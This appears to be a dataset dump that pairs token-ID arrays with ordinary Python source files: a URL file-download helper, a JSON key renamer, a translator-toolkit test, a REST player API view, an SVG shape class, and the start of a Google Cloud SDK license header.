742,
525,
991,
29374,
13,
4706,
736,
5852,
13,
1678,
736,
7700,
13,
13,
13,
1753,
338,
29918,
1062,
29918,
11745,
29898,
1445,
29918,
1062,
29892,
10153,
29882,
7707,
29918,
1062,
1125,
13,
1678,
9995,
18307,
934,
6081,
411,
1121,
515,
10153,
29882,
7707,
29918,
1062,
1213,
15945,
13,
1678,
565,
451,
10153,
29882,
7707,
29918,
1062,
29901,
13,
4706,
736,
7700,
13,
1678,
565,
934,
29918,
1062,
29889,
13609,
580,
1275,
15300,
8875,
4286,
4830,
29898,
2492,
29882,
7707,
29918,
1062,
1125,
13,
4706,
736,
5852,
13,
1678,
565,
934,
29918,
1062,
29889,
13609,
580,
297,
313,
4286,
6173,
742,
15300,
26568,
1495,
322,
10153,
29882,
7707,
29918,
1062,
1275,
525,
26568,
2396,
13,
4706,
736,
5852,
13,
1678,
736,
7700,
13,
13,
13,
1753,
5142,
29898,
2271,
29892,
694,
29918,
29883,
2127,
495,
1125,
13,
1678,
9995,
10382,
3142,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
3142,
29901,
3988,
304,
367,
16532,
29889,
13,
4706,
694,
29918,
29883,
2127,
495,
29901,
4971,
666,
5142,
565,
934,
2307,
1863,
29889,
13,
13,
1678,
16969,
29901,
13,
4706,
9943,
15638,
10422,
470,
5923,
934,
565,
421,
1217,
29918,
29883,
2127,
495,
29952,
338,
421,
5574,
29952,
13,
1678,
9995,
13,
1678,
1480,
353,
2281,
1188,
29889,
657,
16363,
580,
13,
13,
1678,
2362,
3871,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
2271,
29897,
13,
1678,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
6500,
3871,
29897,
322,
694,
29918,
29883,
2127,
495,
29901,
13,
4706,
736,
2362,
3871,
13,
13,
1678,
2933,
353,
7274,
29889,
657,
29898,
2271,
29892,
4840,
29922,
5574,
29897,
13,
1678,
411,
1722,
29898,
6500,
3871,
29892,
525,
29893,
29890,
1495,
408,
714,
29918,
1445,
29901,
13,
4706,
528,
4422,
29889,
8552,
1445,
5415,
29898,
5327,
29889,
1610,
29892,
714,
29918,
1445,
29897,
13,
1678,
1024,
29892,
1294,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
6500,
3871,
29897,
13,
1678,
10153,
29882,
7707,
29918,
1062,
353,
10153,
29882,
7707,
29889,
5816,
29898,
6500,
3871,
29897,
13,
1678,
1294,
29918,
11745,
353,
338,
29918,
1062,
29918,
11745,
29898,
1445,
29918,
1062,
29922,
1062,
29892,
10153,
29882,
7707,
29918,
1062,
29922,
2492,
29882,
7707,
29918,
1062,
29897,
13,
13,
1678,
565,
451,
10153,
29882,
7707,
29918,
1062,
29901,
13,
4706,
1480,
29889,
8382,
703,
2492,
29882,
7707,
508,
29915,
29873,
18720,
934,
613,
934,
29922,
6500,
3871,
29897,
13,
4706,
736,
2362,
3871,
13,
1678,
1683,
29901,
13,
4706,
716,
29918,
6500,
3871,
353,
22372,
1836,
8875,
4286,
4830,
29898,
978,
29892,
10153,
29882,
7707,
29918,
1062,
29897,
13,
4706,
716,
29918,
6500,
3871,
29918,
28997,
353,
2897,
29889,
2084,
29889,
275,
1445,
29898,
1482,
29918,
6500,
3871,
29897,
13,
13,
1678,
565,
1294,
29918,
11745,
29901,
13,
4706,
1480,
29889,
8382,
877,
17657,
338,
5186,
742,
934,
29918,
1062,
29922,
1062,
29892,
10153,
29882,
7707,
29918,
1062,
29922,
2492,
29882,
7707,
29918,
1062,
29897,
13,
4706,
736,
2362,
3871,
13,
1678,
25342,
451,
1294,
29918,
11745,
29901,
13,
4706,
565,
716,
29918,
6500,
3871,
29918,
28997,
322,
451,
694,
29918,
29883,
2127,
495,
29901,
13,
9651,
1480,
29889,
8382,
877,
20083,
5923,
934,
742,
2030,
29922,
6500,
3871,
29892,
716,
29922,
1482,
29918,
6500,
3871,
29897,
13,
9651,
528,
4422,
29889,
11631,
29898,
6500,
3871,
29892,
716,
29918,
6500,
3871,
29897,
13,
4706,
25342,
451,
716,
29918,
6500,
3871,
29918,
28997,
29901,
13,
9651,
1480,
29889,
8382,
877,
29934,
3871,
934,
1294,
742,
934,
29922,
6500,
3871,
29892,
716,
29918,
1062,
29922,
2492,
29882,
7707,
29918,
1062,
29897,
13,
9651,
528,
4422,
29889,
11631,
29898,
6500,
3871,
29892,
716,
29918,
6500,
3871,
29897,
13,
4706,
1683,
29901,
13,
9651,
1480,
29889,
8382,
877,
3664,
5191,
29914,
1267,
420,
934,
742,
694,
29918,
29883,
2127,
495,
29922,
1217,
29918,
29883,
2127,
495,
29892,
716,
29918,
6500,
3871,
29922,
1482,
29918,
6500,
3871,
29897,
13,
4706,
736,
716,
29918,
6500,
3871,
13,
1678,
1683,
29901,
13,
4706,
1480,
29889,
8382,
29898,
13,
9651,
525,
14148,
4195,
742,
13,
9651,
934,
29922,
6500,
3871,
29892,
13,
9651,
1294,
29918,
11745,
29922,
1062,
29918,
11745,
29892,
13,
9651,
716,
29918,
6500,
3871,
29918,
28997,
29922,
1482,
29918,
6500,
3871,
29918,
28997,
29892,
13,
9651,
10153,
29882,
7707,
29918,
1062,
29922,
2492,
29882,
7707,
29918,
1062,
13,
4706,
1723,
13,
1678,
396,
925,
736,
2967,
1024,
565,
738,
1059,
3799,
13,
1678,
736,
2362,
3871,
13,
13,
13,
1753,
12725,
29918,
5358,
29918,
18829,
29898,
13073,
29892,
1828,
29892,
995,
1125,
13,
1678,
9995,
15480,
3802,
9055,
1213,
15945,
13,
1678,
1018,
29901,
13,
4706,
995,
353,
938,
29898,
1767,
29897,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
12020,
2828,
29889,
22050,
9329,
29898,
13,
9651,
525,
2392,
746,
12725,
3802,
9055,
29901,
995,
3790,
1118,
1059,
3790,
29913,
4286,
4830,
29898,
1767,
29892,
321,
876,
13,
1678,
565,
995,
6736,
448,
29896,
29901,
13,
4706,
736,
995,
13,
1678,
1683,
29901,
13,
4706,
12020,
2828,
29889,
22050,
9329,
877,
11123,
9055,
505,
304,
367,
16600,
470,
5186,
1135,
448,
29896,
1495,
13,
13,
13,
1753,
9055,
29918,
5358,
29898,
5358,
29918,
18829,
1125,
13,
1678,
9995,
18829,
746,
14382,
278,
1824,
1213,
15945,
13,
1678,
1480,
353,
2281,
1188,
29889,
657,
16363,
580,
13,
1678,
565,
3802,
29918,
18829,
1275,
448,
29896,
29901,
13,
4706,
2828,
29889,
29886,
1071,
580,
13,
1678,
25342,
3802,
29918,
18829,
1275,
29871,
29900,
29901,
13,
4706,
1480,
29889,
8382,
877,
3782,
3802,
9055,
1495,
13,
1678,
25342,
3802,
29918,
18829,
1405,
29871,
29900,
29901,
13,
4706,
931,
29889,
17059,
29898,
5358,
29918,
18829,
29897,
13,
1678,
1683,
29901,
13,
4706,
1480,
29889,
2704,
877,
13919,
3802,
9055,
742,
325,
29922,
5358,
29918,
18829,
29897,
13,
13,
13,
1753,
22821,
29945,
29918,
3198,
2083,
29898,
29888,
978,
1125,
13,
1678,
6608,
29918,
3487,
29945,
353,
6608,
1982,
29889,
3487,
29945,
580,
13,
1678,
411,
1722,
29898,
29888,
978,
29892,
376,
6050,
1159,
408,
285,
29901,
13,
4706,
363,
19875,
297,
4256,
29898,
2892,
29901,
285,
29889,
949,
29898,
29946,
29900,
29929,
29953,
511,
289,
15945,
1125,
13,
9651,
6608,
29918,
3487,
29945,
29889,
5504,
29898,
29812,
29897,
13,
1678,
736,
6608,
29918,
3487,
29945,
29889,
20970,
7501,
342,
580,
13,
13,
13,
1753,
1653,
29918,
386,
21145,
29898,
2084,
29892,
28968,
29918,
2084,
1125,
13,
1678,
9995,
3258,
266,
21145,
1213,
15945,
13,
1678,
2159,
353,
29871,
29941,
29906,
29900,
29892,
29871,
29941,
29906,
29900,
13,
1678,
1018,
29901,
13,
4706,
527,
353,
7084,
29889,
3150,
29898,
2084,
29897,
13,
4706,
527,
29889,
386,
21145,
29898,
2311,
29897,
13,
4706,
527,
29889,
7620,
29898,
386,
3774,
29918,
2084,
29892,
376,
29967,
4162,
29954,
1159,
13,
1678,
5174,
10663,
2392,
29901,
13,
4706,
12020,
10663,
2392,
703,
29883,
6735,
1653,
266,
21145,
363,
613,
2224,
29897,
13,
13,
13,
1753,
679,
29918,
2158,
29918,
2914,
29898,
2084,
29892,
4833,
29918,
2084,
29892,
3402,
29892,
4867,
1125,
13,
1678,
9995,
657,
1596,
1121,
1213,
15945,
13,
1678,
396,
24521,
13,
1678,
282,
353,
2224,
13,
13,
1678,
528,
29874,
29906,
29945,
29953,
353,
528,
29874,
29906,
29945,
29953,
29918,
3198,
2083,
29898,
29886,
29897,
13,
1678,
22821,
29945,
353,
22821,
29945,
29918,
3198,
2083,
29898,
29886,
29897,
13,
1678,
28968,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1792,
29918,
1272,
29918,
3972,
29892,
525,
386,
3774,
742,
22372,
1836,
6173,
4286,
4830,
29898,
17051,
29906,
29945,
29953,
876,
13,
1678,
1018,
29901,
13,
4706,
2254,
29918,
690,
353,
4733,
29889,
1359,
29918,
2914,
29898,
2585,
29922,
2585,
29918,
2084,
29892,
528,
29874,
29906,
29945,
29953,
29922,
17051,
29906,
29945,
29953,
29892,
22821,
29945,
29922,
3487,
29945,
29897,
13,
1678,
5174,
4733,
29889,
2940,
29889,
25125,
3664,
1252,
391,
29901,
13,
4706,
2254,
29918,
690,
353,
6213,
13,
1678,
565,
2254,
29918,
690,
29901,
13,
4706,
8282,
353,
11117,
11965,
2463,
2396,
2254,
29918,
690,
29913,
13,
1678,
1683,
29901,
13,
4706,
8282,
353,
4867,
29889,
657,
29918,
11338,
29898,
2084,
29922,
29886,
29897,
13,
4706,
1018,
29901,
13,
9651,
4733,
29889,
7620,
29918,
2914,
29898,
13,
18884,
4833,
29922,
2585,
29918,
2084,
29892,
528,
29874,
29906,
29945,
29953,
29922,
17051,
29906,
29945,
29953,
29892,
22821,
29945,
29922,
3487,
29945,
29892,
18988,
29922,
11338,
1839,
11965,
2463,
11287,
13,
4706,
5174,
1236,
29872,
705,
29872,
29889,
23573,
537,
2392,
408,
321,
29901,
13,
9651,
1480,
29889,
8382,
29898,
710,
29898,
29872,
876,
13,
4706,
5174,
1820,
2392,
408,
321,
29901,
13,
9651,
1480,
29889,
8382,
29898,
710,
29898,
11338,
876,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
386,
3774,
29918,
2084,
1125,
13,
4706,
1653,
29918,
386,
21145,
29898,
29886,
29892,
28968,
29918,
2084,
29897,
13,
13,
1678,
565,
3402,
1275,
525,
8977,
2396,
13,
4706,
736,
8282,
13,
1678,
565,
3402,
1275,
525,
29882,
2941,
15816,
2396,
13,
4706,
736,
3588,
29918,
1610,
29918,
517,
29918,
29882,
2941,
15816,
29898,
11338,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
282,
4830,
29898,
11338,
1839,
11965,
2463,
11287,
13,
13,
13,
29992,
3808,
29889,
6519,
580,
13,
29992,
3808,
29889,
3385,
877,
489,
4830,
742,
1134,
29922,
3808,
29889,
29620,
18959,
1610,
742,
525,
29882,
2941,
15816,
2033,
511,
2322,
2433,
1610,
1495,
13,
29992,
3808,
29889,
3385,
877,
29899,
29881,
742,
525,
489,
8382,
742,
338,
29918,
15581,
29922,
5574,
29892,
1371,
543,
20701,
4744,
23157,
13,
29992,
3808,
29889,
3385,
877,
29899,
17608,
742,
525,
489,
1217,
29899,
29883,
2127,
495,
742,
338,
29918,
15581,
29922,
5574,
29892,
1371,
543,
15797,
666,
5142,
3142,
746,
934,
1863,
23157,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
525,
489,
5358,
29899,
18829,
742,
2322,
29922,
29900,
29892,
1371,
543,
11123,
9055,
310,
278,
1824,
19602,
6939,
29922,
15480,
29918,
5358,
29918,
18829,
29897,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
525,
489,
9465,
742,
2322,
29922,
8516,
29892,
1371,
543,
12376,
363,
4714,
313,
311,
17990,
630,
467,
613,
13,
1678,
1134,
29922,
3808,
29889,
29620,
18959,
8696,
8944,
742,
525,
27473,
1315,
742,
525,
18114,
742,
525,
29920,
2300,
29889,
1688,
15965,
742,
525,
14095,
25901,
13,
29992,
3808,
29889,
3385,
877,
489,
15070,
29899,
1420,
742,
338,
29918,
15581,
29922,
5574,
29892,
1371,
543,
29928,
3427,
3472,
1591,
363,
13490,
313,
311,
17990,
630,
467,
1159,
13,
29992,
3808,
29889,
23516,
877,
2084,
742,
302,
5085,
10457,
29896,
29897,
13,
1753,
1667,
29898,
4830,
29892,
2224,
29892,
4744,
29892,
694,
29918,
29883,
2127,
495,
29892,
3802,
29918,
18829,
29892,
7156,
29922,
8516,
29892,
16766,
29918,
1420,
29922,
8824,
1125,
13,
1678,
9995,
657,
4055,
515,
8632,
362,
29906,
2003,
1213,
15945,
13,
1678,
565,
4744,
29901,
13,
4706,
12183,
29889,
16121,
3991,
29898,
5563,
29922,
21027,
29889,
18525,
29897,
13,
1678,
1683,
29901,
13,
4706,
12183,
29889,
16121,
3991,
29898,
5563,
29922,
21027,
29889,
11690,
29897,
13,
1678,
2281,
1188,
29889,
17591,
29918,
10646,
29898,
21707,
29918,
14399,
29922,
4984,
1188,
29889,
4172,
1982,
29889,
16363,
5126,
3101,
13,
1678,
1480,
353,
2281,
1188,
29889,
657,
16363,
580,
13,
13,
1678,
565,
451,
2224,
29901,
13,
4706,
12020,
7865,
2392,
877,
10145,
3734,
29889,
1495,
13,
13,
1678,
396,
2069,
4138,
13,
1678,
2897,
29889,
29885,
12535,
12935,
29898,
1792,
29918,
1272,
29918,
3972,
29892,
1863,
29918,
554,
29922,
5574,
29897,
13,
1678,
2897,
29889,
29885,
12535,
12935,
29898,
386,
3774,
29918,
12083,
29892,
1863,
29918,
554,
29922,
5574,
29897,
13,
13,
1678,
396,
2566,
13,
1678,
4833,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1792,
29918,
1272,
29918,
3972,
29892,
525,
3396,
29889,
2585,
1495,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
2585,
29918,
2084,
1125,
13,
4706,
10802,
29898,
2585,
29918,
2084,
467,
16747,
580,
13,
1678,
4733,
29889,
9803,
29889,
2344,
29898,
2585,
29918,
2084,
29897,
13,
1678,
1018,
29901,
13,
4706,
4733,
29889,
2344,
29918,
497,
29918,
24051,
580,
13,
1678,
5174,
1236,
29872,
705,
29872,
29889,
7094,
1288,
2392,
29901,
13,
4706,
1480,
29889,
8382,
877,
3562,
2307,
2825,
1495,
13,
13,
1678,
4867,
353,
16441,
29898,
9465,
29922,
9465,
29897,
13,
1678,
1018,
29901,
13,
4706,
363,
282,
297,
2224,
29901,
13,
9651,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
29886,
1125,
13,
18884,
1596,
877,
2084,
29901,
8875,
4286,
4830,
29898,
359,
29889,
2084,
29889,
6500,
3871,
29898,
29886,
4961,
13,
9651,
25342,
338,
29918,
2271,
29898,
29886,
1125,
13,
18884,
1596,
877,
2271,
29901,
8875,
4286,
4830,
29898,
29886,
876,
13,
18884,
282,
353,
5142,
29898,
29886,
29892,
694,
29918,
29883,
2127,
495,
29922,
1217,
29918,
29883,
2127,
495,
29897,
13,
9651,
1683,
29901,
13,
18884,
1480,
29889,
2704,
877,
14148,
2224,
3402,
470,
2224,
338,
451,
1863,
742,
2224,
29922,
29886,
29897,
13,
18884,
6773,
13,
9651,
1121,
353,
679,
29918,
2158,
29918,
2914,
29898,
13,
18884,
2224,
29922,
29886,
29892,
4833,
29918,
2084,
29922,
2585,
29918,
2084,
29892,
3402,
29922,
4830,
29892,
4867,
29922,
7924,
29897,
13,
9651,
1596,
29898,
2914,
29897,
13,
1678,
7146,
29901,
13,
4706,
9055,
29918,
5358,
29898,
5358,
29918,
18829,
29897,
13,
4706,
565,
756,
5552,
29898,
7924,
29892,
525,
15965,
29374,
13,
9651,
4867,
29889,
15965,
29889,
28358,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
galloper/data_utils/file_utils.py | kostiantyn-yarovyi/galloper | 1 | 116283 | <reponame>kostiantyn-yarovyi/galloper<filename>galloper/data_utils/file_utils.py
from requests import get
import os
from flask import current_app
from uuid import uuid4
class File:
def __init__(self, url):
self.url = url
self.filename = url.split("/")[-1]
self.path = ""
def read(self):
if not self.path:
self.path = os.path.join(current_app.config["UPLOAD_FOLDER"], str(uuid4()))
r = get(self.url, allow_redirects=True)
with open(self.path, 'wb') as f:
f.write(r.content)
return r.content
def seek(self, offset, whence=0):
with open(self.path, 'rb') as f:
return f.seek(offset, whence)
def tell(self):
with open(self.path, 'rb') as f:
f.seek(0, 2)
return f.tell()
def remove(self):
os.remove(self.path)
| [
1,
529,
276,
1112,
420,
29958,
29895,
16098,
424,
948,
29899,
8553,
15890,
29875,
29914,
23014,
417,
546,
29966,
9507,
29958,
23014,
417,
546,
29914,
1272,
29918,
13239,
29914,
1445,
29918,
13239,
29889,
2272,
13,
3166,
7274,
1053,
679,
13,
5215,
2897,
13,
3166,
29784,
1053,
1857,
29918,
932,
13,
3166,
318,
5416,
1053,
318,
5416,
29946,
13,
13,
13,
1990,
3497,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3142,
1125,
13,
4706,
1583,
29889,
2271,
353,
3142,
13,
4706,
1583,
29889,
9507,
353,
3142,
29889,
5451,
11974,
1159,
14352,
29896,
29962,
13,
4706,
1583,
29889,
2084,
353,
5124,
13,
13,
1678,
822,
1303,
29898,
1311,
1125,
13,
4706,
565,
451,
1583,
29889,
2084,
29901,
13,
9651,
1583,
29889,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3784,
29918,
932,
29889,
2917,
3366,
4897,
29428,
29918,
29943,
5607,
8032,
12436,
851,
29898,
25118,
29946,
22130,
13,
9651,
364,
353,
679,
29898,
1311,
29889,
2271,
29892,
2758,
29918,
17886,
29879,
29922,
5574,
29897,
13,
9651,
411,
1722,
29898,
1311,
29889,
2084,
29892,
525,
29893,
29890,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
29878,
29889,
3051,
29897,
13,
18884,
736,
364,
29889,
3051,
13,
13,
1678,
822,
16508,
29898,
1311,
29892,
9210,
29892,
377,
663,
29922,
29900,
1125,
13,
4706,
411,
1722,
29898,
1311,
29889,
2084,
29892,
525,
6050,
1495,
408,
285,
29901,
13,
9651,
736,
285,
29889,
344,
1416,
29898,
10289,
29892,
377,
663,
29897,
13,
13,
1678,
822,
2649,
29898,
1311,
1125,
13,
4706,
411,
1722,
29898,
1311,
29889,
2084,
29892,
525,
6050,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
344,
1416,
29898,
29900,
29892,
29871,
29906,
29897,
13,
9651,
736,
285,
29889,
29873,
514,
580,
13,
13,
1678,
822,
3349,
29898,
1311,
1125,
13,
4706,
2897,
29889,
5992,
29898,
1311,
29889,
2084,
29897,
13,
2
] |
pyfacebook/utils/reformat_response.py | Socian-Ltd/python-facebook-1 | 0 | 31396 | <filename>pyfacebook/utils/reformat_response.py
import json
from typing import Optional, Union, Dict
def replace_from_keyword_in_json(
data, # type: Optional[Dict]
):
# type: (...) -> Dict
"""
Rename the 'from' field coming from the Graph API. As 'from' is a Python keyword, we cannot use this as an
attribute with 'attrs' package. So renaming the 'from' field to 'object_creator'
"""
json_str = json.dumps(data)
replaced_json_str = json_str.replace('"from":', '"object_creator":')
replaced_json_obj = json.loads(replaced_json_str)
return replaced_json_obj
| [
1,
529,
9507,
29958,
2272,
15445,
29914,
13239,
29914,
276,
4830,
29918,
5327,
29889,
2272,
13,
5215,
4390,
13,
3166,
19229,
1053,
28379,
29892,
7761,
29892,
360,
919,
13,
13,
13,
1753,
5191,
29918,
3166,
29918,
26766,
29918,
262,
29918,
3126,
29898,
13,
4706,
848,
29892,
396,
1134,
29901,
28379,
29961,
21533,
29962,
13,
1125,
13,
1678,
396,
1134,
29901,
313,
11410,
1599,
360,
919,
13,
1678,
9995,
13,
1678,
390,
3871,
278,
525,
3166,
29915,
1746,
6421,
515,
278,
12367,
3450,
29889,
1094,
525,
3166,
29915,
338,
263,
5132,
13553,
29892,
591,
2609,
671,
445,
408,
385,
13,
1678,
5352,
411,
525,
5552,
29879,
29915,
3577,
29889,
1105,
4325,
11500,
278,
525,
3166,
29915,
1746,
304,
525,
3318,
29918,
1037,
1061,
29915,
13,
1678,
9995,
13,
1678,
4390,
29918,
710,
353,
4390,
29889,
29881,
17204,
29898,
1272,
29897,
13,
1678,
8611,
29918,
3126,
29918,
710,
353,
4390,
29918,
710,
29889,
6506,
877,
29908,
3166,
1115,
742,
18793,
3318,
29918,
1037,
1061,
1115,
1495,
13,
1678,
8611,
29918,
3126,
29918,
5415,
353,
4390,
29889,
18132,
29898,
3445,
433,
1133,
29918,
3126,
29918,
710,
29897,
13,
1678,
736,
8611,
29918,
3126,
29918,
5415,
13,
2
] |
grow/translators/google_translator_toolkit_test.py | denmojo/pygrow | 0 | 98424 | <reponame>denmojo/pygrow
from . import google_translator_toolkit
from grow.common import oauth
from grow.pods import pods
from grow.pods import storage
from grow.testing import testing
from nose.plugins import skip
import time
import unittest
class GoogleTranslatorToolkitTestCase(testing.TestCase):
def setUp(self):
dir_path = testing.create_test_pod_dir()
self.pod = pods.Pod(dir_path, storage=storage.FileStorage)
super(GoogleTranslatorToolkitTestCase, self).setUp()
def test_insert_document(self):
catalog = self.pod.catalogs.get('de')
content = catalog.content
mimetype = 'text/x-gettext-translation'
source_lang = 'en'
lang = str(catalog.locale)
name = 'Test Display Name'
credentials, _ = oauth.get_credentials_and_storage(
scope=google_translator_toolkit.OAUTH_SCOPE,
storage_key=google_translator_toolkit.STORAGE_KEY)
if not credentials:
text = ('Skipping Google Translator Toolkit test'
' because we don\'t have auth keys. Run'
' `grow upload_translations` or `grow download_translations`'
' to acquire auth keys and re-run the test.')
raise skip.SkipTest(text)
gtt = google_translator_toolkit.Gtt()
insert_resp = gtt.insert_document(
name=name,
content=content,
source_lang=source_lang,
lang=lang,
mimetype=mimetype)
document_id = insert_resp['id']
time.sleep(2) # Wait for the document to be ready in GTT.
download_resp = gtt.download_document(document_id)
if __name__ == '__main__':
unittest.main()
| [
1,
529,
276,
1112,
420,
29958,
1145,
4346,
2212,
29914,
2272,
29887,
798,
13,
3166,
869,
1053,
5386,
29918,
3286,
29880,
1061,
29918,
10154,
7354,
13,
3166,
6548,
29889,
9435,
1053,
288,
5150,
13,
3166,
6548,
29889,
15334,
29879,
1053,
2532,
29879,
13,
3166,
6548,
29889,
15334,
29879,
1053,
8635,
13,
3166,
6548,
29889,
13424,
1053,
6724,
13,
3166,
26414,
29889,
12800,
1053,
14383,
13,
5215,
931,
13,
5215,
443,
27958,
13,
13,
13,
1990,
5087,
4300,
29880,
1061,
12229,
7354,
3057,
8259,
29898,
13424,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
4516,
29918,
2084,
353,
6724,
29889,
3258,
29918,
1688,
29918,
15334,
29918,
3972,
580,
13,
4706,
1583,
29889,
15334,
353,
2532,
29879,
29889,
27345,
29898,
3972,
29918,
2084,
29892,
8635,
29922,
12925,
29889,
2283,
10486,
29897,
13,
4706,
2428,
29898,
14207,
4300,
29880,
1061,
12229,
7354,
3057,
8259,
29892,
1583,
467,
842,
3373,
580,
13,
13,
1678,
822,
1243,
29918,
7851,
29918,
3225,
29898,
1311,
1125,
13,
4706,
16653,
353,
1583,
29889,
15334,
29889,
28045,
29879,
29889,
657,
877,
311,
1495,
13,
4706,
2793,
353,
16653,
29889,
3051,
13,
4706,
286,
17528,
668,
353,
525,
726,
29914,
29916,
29899,
657,
726,
29899,
3286,
18411,
29915,
13,
4706,
2752,
29918,
3893,
353,
525,
264,
29915,
13,
4706,
6361,
353,
851,
29898,
28045,
29889,
23337,
29897,
13,
4706,
1024,
353,
525,
3057,
17440,
4408,
29915,
13,
4706,
16140,
29892,
903,
353,
288,
5150,
29889,
657,
29918,
11944,
9409,
29918,
392,
29918,
12925,
29898,
13,
9651,
6874,
29922,
3608,
29918,
3286,
29880,
1061,
29918,
10154,
7354,
29889,
29949,
20656,
29950,
29918,
29903,
3217,
4162,
29892,
13,
9651,
8635,
29918,
1989,
29922,
3608,
29918,
3286,
29880,
1061,
29918,
10154,
7354,
29889,
1254,
1955,
10461,
29918,
10818,
29897,
13,
4706,
565,
451,
16140,
29901,
13,
9651,
1426,
353,
6702,
29903,
1984,
3262,
5087,
4103,
29880,
1061,
21704,
7354,
1243,
29915,
13,
462,
1678,
525,
1363,
591,
1016,
20333,
29873,
505,
4817,
6611,
29889,
7525,
29915,
13,
462,
1678,
525,
421,
29887,
798,
6441,
29918,
3286,
29880,
800,
29952,
470,
421,
29887,
798,
5142,
29918,
3286,
29880,
800,
20497,
13,
462,
1678,
525,
304,
1274,
1548,
4817,
6611,
322,
337,
29899,
3389,
278,
1243,
29889,
1495,
13,
9651,
12020,
14383,
29889,
15797,
666,
3057,
29898,
726,
29897,
13,
4706,
330,
698,
353,
5386,
29918,
3286,
29880,
1061,
29918,
10154,
7354,
29889,
29954,
698,
580,
13,
4706,
4635,
29918,
13713,
353,
330,
698,
29889,
7851,
29918,
3225,
29898,
13,
9651,
1024,
29922,
978,
29892,
13,
9651,
2793,
29922,
3051,
29892,
13,
9651,
2752,
29918,
3893,
29922,
4993,
29918,
3893,
29892,
13,
9651,
6361,
29922,
3893,
29892,
13,
9651,
286,
17528,
668,
29922,
29885,
17528,
668,
29897,
13,
4706,
1842,
29918,
333,
353,
4635,
29918,
13713,
1839,
333,
2033,
13,
4706,
931,
29889,
17059,
29898,
29906,
29897,
29871,
396,
20340,
363,
278,
1842,
304,
367,
7960,
297,
402,
19988,
29889,
13,
4706,
5142,
29918,
13713,
353,
330,
698,
29889,
10382,
29918,
3225,
29898,
3225,
29918,
333,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
masq/cms/api/player.py | tehdiplomat/hidden-role-games | 0 | 113338 | from rest_framework import generics
from rest_framework import permissions
from cms.models.Player import Player, PlayerSerializer
class PlayerList(generics.ListCreateAPIView):
queryset = Player.objects.all()
serializer_class = PlayerSerializer
class PlayerDetail(generics.RetrieveUpdateDestroyAPIView):
queryset = Player.objects.all()
serializer_class = PlayerSerializer | [
1,
515,
1791,
29918,
4468,
1053,
1176,
1199,
13,
3166,
1791,
29918,
4468,
1053,
11239,
13,
3166,
274,
1516,
29889,
9794,
29889,
9075,
1053,
14574,
29892,
14574,
17679,
13,
13,
1990,
14574,
1293,
29898,
4738,
1199,
29889,
1293,
4391,
8787,
1043,
1125,
13,
12,
1972,
842,
353,
14574,
29889,
12650,
29889,
497,
580,
13,
12,
15550,
3950,
29918,
1990,
353,
14574,
17679,
13,
13,
13,
1990,
14574,
16570,
29898,
4738,
1199,
29889,
8015,
29878,
2418,
6422,
14994,
4727,
8787,
1043,
1125,
13,
12,
1972,
842,
353,
14574,
29889,
12650,
29889,
497,
580,
13,
12,
15550,
3950,
29918,
1990,
353,
14574,
17679,
2
] |
ink2canvas/svg/Use.py | greipfrut/pdftohtml5canvas | 4 | 1711 | from ink2canvas.svg.AbstractShape import AbstractShape
class Use(AbstractShape):
def drawClone(self):
drawables = self.rootTree.getDrawable()
OriginName = self.getCloneId()
OriginObject = self.rootTree.searchElementById(OriginName,drawables)
OriginObject.runDraw()
def draw(self, isClip=False):
if self.hasTransform():
transMatrix = self.getTransform()
self.canvasContext.transform(*transMatrix)
self.drawClone()
def getCloneId(self):
return self.attr("href","xlink")[1:] | [
1,
515,
297,
29895,
29906,
15257,
29889,
15120,
29889,
9118,
24111,
1053,
25513,
24111,
13,
13,
1990,
4803,
29898,
9118,
24111,
1125,
13,
268,
13,
1678,
822,
4216,
6821,
650,
29898,
1311,
1125,
13,
4706,
4216,
1849,
353,
1583,
29889,
4632,
9643,
29889,
657,
26945,
580,
13,
4706,
22118,
1170,
353,
1583,
29889,
657,
6821,
650,
1204,
580,
13,
4706,
22118,
2061,
353,
1583,
29889,
4632,
9643,
29889,
4478,
2642,
4499,
29898,
23182,
1170,
29892,
4012,
1849,
29897,
13,
4706,
22118,
2061,
29889,
3389,
8537,
580,
13,
539,
13,
1678,
822,
4216,
29898,
1311,
29892,
338,
29907,
3466,
29922,
8824,
1125,
13,
4706,
565,
1583,
29889,
5349,
13372,
7295,
13,
9651,
1301,
14609,
353,
1583,
29889,
657,
13372,
580,
13,
9651,
1583,
29889,
15257,
2677,
29889,
9067,
10456,
3286,
14609,
29897,
13,
4706,
1583,
29889,
4012,
6821,
650,
580,
13,
308,
13,
1678,
822,
679,
6821,
650,
1204,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
5552,
703,
12653,
3284,
29916,
2324,
1159,
29961,
29896,
17531,
2
] |
google-cloud-sdk/lib/surface/compute/instances/create_from_container.py | bopopescu/searchparty | 0 | 112779 | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
